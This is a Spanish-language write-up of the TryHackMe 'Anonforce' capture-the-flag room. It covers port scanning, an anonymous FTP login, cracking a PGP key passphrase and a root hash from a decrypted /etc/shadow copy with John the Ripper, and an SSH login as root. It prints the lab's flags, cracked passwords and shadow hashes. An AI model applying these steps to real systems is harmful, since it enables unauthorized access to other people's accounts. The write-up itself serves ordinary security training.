Contents

TryHackMe - Anonforce

TryHackMe - Anonforce

Anonforce es una maquina de TryHackMe originalmente para Bsides Guatemala, encontramos un servicio FTP el cual contiene un backup encriptado y su respectiva llave, utilizando John obtuvimos la contraseña, dentro del backup encontramos una copia del archivo /etc/shadow, nuevamente con John obtuvimos la contraseña del usuario root que finalmente nos dio acceso privilegiado.

Room

Descripcionboot2root machine for FIT and bsides guatemala CTF
Puntos60
DificultadFACIL
Makerstuxnet

Recon

Masscan & nmap

Escaneo de puertos udp/tcp y sus servicios.

bash
 1root@kali:~/trymehack/anonforce# masscan -p1-65535,U:1-65535 10.10.176.169 --rate=1000 -e tun0
 2
 3Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 22:40:02 GMT
 4 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
 5Initiating SYN Stealth Scan
 6Scanning 1 hosts [131070 ports/host]
 7Discovered open port 21/tcp on 10.10.176.169                                   
 8Discovered open port 22/tcp on 10.10.176.169
 9
10# Nmap 7.70 scan initiated Tue Sep  3 18:46:02 2019 as: nmap -sV -sC -p22,21 -o nmap.scan 10.10.176.169
11Nmap scan report for 10.10.176.169
12Host is up (0.37s latency).
13
14PORT   STATE SERVICE VERSION
1521/tcp open  ftp     vsftpd 3.0.3
16| ftp-anon: Anonymous FTP login allowed (FTP code 230)
17| drwxr-xr-x    2 0        0            4096 Aug 11 17:42 bin
18| drwxr-xr-x    3 0        0            4096 Aug 11 17:43 boot
19| drwxr-xr-x   17 0        0            3700 Sep 03 15:39 dev
20| drwxr-xr-x   85 0        0            4096 Aug 13 13:09 etc
21| drwxr-xr-x    3 0        0            4096 Aug 11 17:33 home
22| lrwxrwxrwx    1 0        0              33 Aug 11 17:42 initrd.img -> boot/initrd.img-4.4.0-157-generic
23| lrwxrwxrwx    1 0        0              33 Aug 11 17:42 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
24| drwxr-xr-x   19 0        0            4096 Aug 11 17:32 lib
25| drwxr-xr-x    2 0        0            4096 Aug 11 17:30 lib64
26| drwx------    2 0        0           16384 Aug 11 17:30 lost+found
27| drwxr-xr-x    4 0        0            4096 Aug 11 17:30 media
28| drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
29| drwxrwxrwx    2 1000     1000         4096 Aug 11 21:52 notread [NSE: writeable]
30| drwxr-xr-x    2 0        0            4096 Aug 11 17:34 opt
31| dr-xr-xr-x   96 0        0               0 Sep 03 15:39 proc
32| drwx------    3 0        0            4096 Aug 11 21:22 root
33| drwxr-xr-x   18 0        0             540 Sep 03 15:39 run
34| drwxr-xr-x    2 0        0           12288 Aug 11 17:42 sbin
35| drwxr-xr-x    3 0        0            4096 Aug 11 17:43 srv
36| dr-xr-xr-x   13 0        0               0 Sep 03 15:39 sys
37|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
38| ftp-syst: 
39|   STAT: 
40| FTP server status:
41|      Connected to ::ffff:10.8.1.72
42|      Logged in as ftp
43|      TYPE: ASCII
44|      No session bandwidth limit
45|      Session timeout in seconds is 300
46|      Control connection is plain text
47|      Data connections will be plain text
48|      At session startup, client count was 4
49|      vsFTPd 3.0.3 - secure, fast, stable
50|_End of status
5122/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
52| ssh-hostkey: 
53|   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
54|   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
55|_  256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
56Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
57
58Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
59# Nmap done at Tue Sep  3 18:46:29 2019 -- 1 IP address (1 host up) scanned in 27.58 seconds

FTP

Mediante el puerto 21 de ftp nos logeamos con el usuario y contraseña anonymous, y logramos obtener la flag user.txt.

bash
 1root@kali:~/trymehack/anonforce# ftp 10.10.176.169
 2Connected to 10.10.176.169.
 3220 (vsFTPd 3.0.3)
 4Name (10.10.176.169:root): anonymous
 5331 Please specify the password.
 6Password:
 7230 Login successful.
 8Remote system type is UNIX.
 9Using binary mode to transfer files.
10ftp> ls -lah
11200 PORT command successful. Consider using PASV.
12150 Here comes the directory listing.
13drwxr-xr-x   23 0        0            4096 Aug 11 21:48 .
14drwxr-xr-x   23 0        0            4096 Aug 11 21:48 ..
15drwxr-xr-x    2 0        0            4096 Aug 11 17:42 bin
16drwxr-xr-x    3 0        0            4096 Aug 11 17:43 boot
17drwxr-xr-x   17 0        0            3700 Sep 03 15:39 dev
18drwxr-xr-x   85 0        0            4096 Aug 13 13:09 etc
19drwxr-xr-x    3 0        0            4096 Aug 11 17:33 home
20lrwxrwxrwx    1 0        0              33 Aug 11 17:42 initrd.img -> boot/initrd.img-4.4.0-157-generic
21lrwxrwxrwx    1 0        0              33 Aug 11 17:42 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
22drwxr-xr-x   19 0        0            4096 Aug 11 17:32 lib
23drwxr-xr-x    2 0        0            4096 Aug 11 17:30 lib64
24drwx------    2 0        0           16384 Aug 11 17:30 lost+found
25drwxr-xr-x    4 0        0            4096 Aug 11 17:30 media
26drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
27drwxrwxrwx    2 1000     1000         4096 Aug 11 21:52 notread
28drwxr-xr-x    2 0        0            4096 Aug 11 17:34 opt
29dr-xr-xr-x  100 0        0               0 Sep 03 15:39 proc
30drwx------    3 0        0            4096 Aug 11 21:22 root
31drwxr-xr-x   18 0        0             540 Sep 03 15:39 run
32drwxr-xr-x    2 0        0           12288 Aug 11 17:42 sbin
33drwxr-xr-x    3 0        0            4096 Aug 11 17:43 srv
34dr-xr-xr-x   13 0        0               0 Sep 03 15:39 sys
35drwxrwxrwt    9 0        0            4096 Sep 03 15:39 tmp
36drwxr-xr-x   10 0        0            4096 Aug 11 17:30 usr
37drwxr-xr-x   11 0        0            4096 Aug 11 17:30 var
38lrwxrwxrwx    1 0        0              30 Aug 11 17:42 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
39lrwxrwxrwx    1 0        0              30 Aug 11 17:42 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
40c226 Directory send OK.
41ftp> cd home
42250 Directory successfully changed.
43ftp> ls
44200 PORT command successful. Consider using PASV.
45150 Here comes the directory listing.
46drwxr-xr-x    4 1000     1000         4096 Aug 11 21:22 melodias
47226 Directory send OK.
48ftp> cd melodias
49250 Directory successfully changed.
50ftp> ls
51200 PORT command successful. Consider using PASV.
52150 Here comes the directory listing.
53-rw-rw-r--    1 1000     1000           33 Aug 11 21:22 user.txt
54ls226 Directory send OK.
55ftp> cat user.txt
56?Invalid command
57ftp> get user.txt
58local: user.txt remote: user.txt
59200 PORT command successful. Consider using PASV.
60150 Opening BINARY mode data connection for user.txt (33 bytes).
61226 Transfer complete.
6233 bytes received in 0.00 secs (144.5137 kB/s)
63ftp> exit
64221 Goodbye.
65root@kali:~/trymehack/anonforce# cat user.txt 
66606083fd33beb1284fc51f411a706af8
67root@kali:~/trymehack/anonforce#

image

PGP Backup

Dentro de la carpeta notread encontramos un archivo pgp y una llave asc.

bash
 1ftp> cd notread
 2250 Directory successfully changed.
 3ftp> ls -lah
 4200 PORT command successful. Consider using PASV.
 5150 Here comes the directory listing.
 6drwxrwxrwx    2 1000     1000         4096 Aug 11 21:52 .
 7drwxr-xr-x   23 0        0            4096 Aug 11 21:48 ..
 8-rwxrwxrwx    1 1000     1000          524 Aug 11 21:49 backup.pgp
 9-rwxrwxrwx    1 1000     1000         3762 Aug 11 21:49 private.asc
10226 Directory send OK.
11ftp> get backup.pgp
12local: backup.pgp remote: backup.pgp
13200 PORT command successful. Consider using PASV.
14150 Opening BINARY mode data connection for backup.pgp (524 bytes).
15226 Transfer complete.
16524 bytes received in 0.00 secs (2.2210 MB/s)
17ftp> get private.asc
18local: private.asc remote: private.asc
19200 PORT command successful. Consider using PASV.
20150 Opening BINARY mode data connection for private.asc (3762 bytes).
21226 Transfer complete.
223762 bytes received in 0.00 secs (8.4417 MB/s)
23ftp> 

Obtenemos la frase del archivo private.asc con gpg2john y con john the ripper.

bash
 1root@kali:~/trymehack/anonforce# gpg2john private.asc > hash
 2
 3File private.asc
 4root@kali:~/trymehack/anonforce# john --format=gpg hash --wordlist=/usr/share/wordlists/rockyou.txt
 5Using default input encoding: UTF-8
 6Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
 7Cost 1 (s2k-count) is 65536 for all loaded hashes
 8Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
 9Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
10Will run 4 OpenMP threads
11Press 'q' or Ctrl-C to abort, almost any other key for status
12xbox360          (anonforce)
131g 0:00:00:00 DONE (2019-09-03 18:59) 8.333g/s 7766p/s 7766c/s 7766C/s xbox360..madalina
14Use the "--show" option to display all of the cracked passwords reliably
15Session completed
16root@kali:~/trymehack/anonforce#

Utilizamos gpg para importar la clave y descencriptar el archivo backup.

text
 1root@kali:~/trymehack/anonforce# gpg --import private.asc 
 2gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
 3gpg: key B92CD1F280AD82C2: secret key imported
 4gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
 5gpg: Total number processed: 2
 6gpg:              unchanged: 2
 7gpg:       secret keys read: 1
 8gpg:   secret keys imported: 1
 9root@kali:~/trymehack/anonforce# gpg --decrypt file.pgp
10gpg: can't open 'file.pgp': No such file or directory
11gpg: decrypt_message failed: No such file or directory
12root@kali:~/trymehack/anonforce# gpg --decrypt backup.pgp 
13gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
14gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
15      "anonforce <melodias@anonforce.nsa>"
16root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
17daemon:*:17953:0:99999:7:::
18bin:*:17953:0:99999:7:::
19sys:*:17953:0:99999:7:::
20sync:*:17953:0:99999:7:::
21games:*:17953:0:99999:7:::
22man:*:17953:0:99999:7:::
23lp:*:17953:0:99999:7:::
24mail:*:17953:0:99999:7:::
25news:*:17953:0:99999:7:::
26uucp:*:17953:0:99999:7:::
27proxy:*:17953:0:99999:7:::
28www-data:*:17953:0:99999:7:::
29backup:*:17953:0:99999:7:::
30list:*:17953:0:99999:7:::
31irc:*:17953:0:99999:7:::
32gnats:*:17953:0:99999:7:::
33nobody:*:17953:0:99999:7:::
34systemd-timesync:*:17953:0:99999:7:::
35systemd-network:*:17953:0:99999:7:::
36systemd-resolve:*:17953:0:99999:7:::
37systemd-bus-proxy:*:17953:0:99999:7:::
38syslog:*:17953:0:99999:7:::
39_apt:*:17953:0:99999:7:::
40messagebus:*:18120:0:99999:7:::
41uuidd:*:18120:0:99999:7:::
42melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
43sshd:*:18120:0:99999:7:::
44ftp:*:18120:0:99999:7:::
45root@kali:~/trymehack/anonforce#

User - Root

Utilizamos nuevamente john para crackear las contraseñas.

text
 1root@kali:~/trymehack/anonforce# john hash2 --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt
 2Using default input encoding: UTF-8
 3Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
 4Cost 1 (iteration count) is 5000 for all loaded hashes
 5Will run 4 OpenMP threads
 6Press 'q' or Ctrl-C to abort, almost any other key for status
 7hikari           (root)
 81g 0:00:00:02 DONE (2019-09-03 19:02) 0.4901g/s 3388p/s 3388c/s 3388C/s 98765432..better
 9Use the "--show" option to display all of the cracked passwords reliably
10Session completed
11root@kali:~/trymehack/anonforce#

Nos logeamos en el servicio de ssh con las credenciales de root y logramos obtener nuestra flag root.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - Dav
Next TryHackMe - Crack The Hash